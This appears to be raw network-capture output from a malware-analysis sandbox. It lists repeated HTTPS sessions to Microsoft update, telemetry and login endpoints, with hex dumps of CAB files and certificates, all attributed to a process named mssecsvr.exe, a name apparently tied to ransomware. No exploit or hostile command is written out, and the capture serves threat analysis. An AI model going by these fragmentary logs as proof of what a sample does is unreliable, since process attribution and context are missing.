2022-07-20 07:10:10 UTC	8771	IN	Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>7Go?j=
2022-07-20 07:10:10 UTC	8787	IN	Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.6	55765	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:10 UTC	8755	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160932Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:10 UTC	8755	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 2f720a4f-cd1d-418b-b6a0-27c023bcb494 Date: Wed, 20 Jul 2022 07:10:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.6	55768	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:11 UTC	8791	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160933Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:11 UTC	8792	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 1f7bd930-6502-4491-8af0-b159cae3519d Date: Wed, 20 Jul 2022 07:10:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.6	55848	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:11 UTC	8792	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160935Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:11 UTC	8792	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: cf759f53-7105-4d06-8ab7-07c989f88647 Date: Wed, 20 Jul 2022 07:10:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.6	55846	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:11 UTC	8792	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:10:11 UTC	8794	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 89e26f3f-e6ff-45f0-9916-183f3ec3e6fb MS-RequestId: fea3dc71-d0a1-48b9-b31c-ae571fade1ae MS-CV: vCum37JpXUiak3gy.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:10:11 GMT Connection: close Content-Length: 35877
2022-07-20 07:10:11 UTC	8794	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:10:11 UTC	8810	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 07:10:11 UTC	8826	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.6	55850	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:11 UTC	8793	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160940Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:11 UTC	8793	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: cfbb4c62-c754-4b80-8141-f00e72a414c6 Date: Wed, 20 Jul 2022 07:10:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.6	55853	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:12 UTC	8829	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160941Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:12 UTC	8830	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 7315583c-0e46-4d7d-a26f-863a333a7e77 Date: Wed, 20 Jul 2022 07:10:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	50167	40.126.31.73	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:49 UTC	189	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 07:07:49 UTC	189	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 07:07:49 UTC	260	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 07:06:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: a6d2c787-ce61-4b04-97ce-420809986091 PPServer: PPV: 30 H: BL02PF25BE43DEC V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 07:07:48 GMT Connection: close Content-Length: 11093
2022-07-20 07:07:49 UTC	260	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.6	55932	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:12 UTC	8830	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T160943Z&asid=ef50effad3b8427db7cce16e9ea9c3a8&eid= HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:12 UTC	8830	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 1f5179f7-9980-4021-9cdf-f4e4fc585f0d Date: Wed, 20 Jul 2022 07:10:12 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.6	55940	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:13 UTC	8831	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:10:13 UTC	8831	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 895af72d-0e95-443f-a868-a723dd19ae3f MS-RequestId: 98268a61-6dc9-436d-86c7-8c3420c42c45 MS-CV: qmqq/634jEai6T/l.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:10:13 GMT Connection: close Content-Length: 35877
2022-07-20 07:10:13 UTC	8831	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:10:13 UTC	8847	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 07:10:13 UTC	8863	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.6	56017	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:14 UTC	8866	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:10:14 UTC	8867	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 3c769a5b-d941-4f48-96b9-a929b695c954 MS-RequestId: c2238138-4f07-4860-ac20-afc6b8e6aebb MS-CV: C5DDlQxvFE2XUlog.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:10:13 GMT Connection: close Content-Length: 35877
2022-07-20 07:10:14 UTC	8867	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:10:14 UTC	8883	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
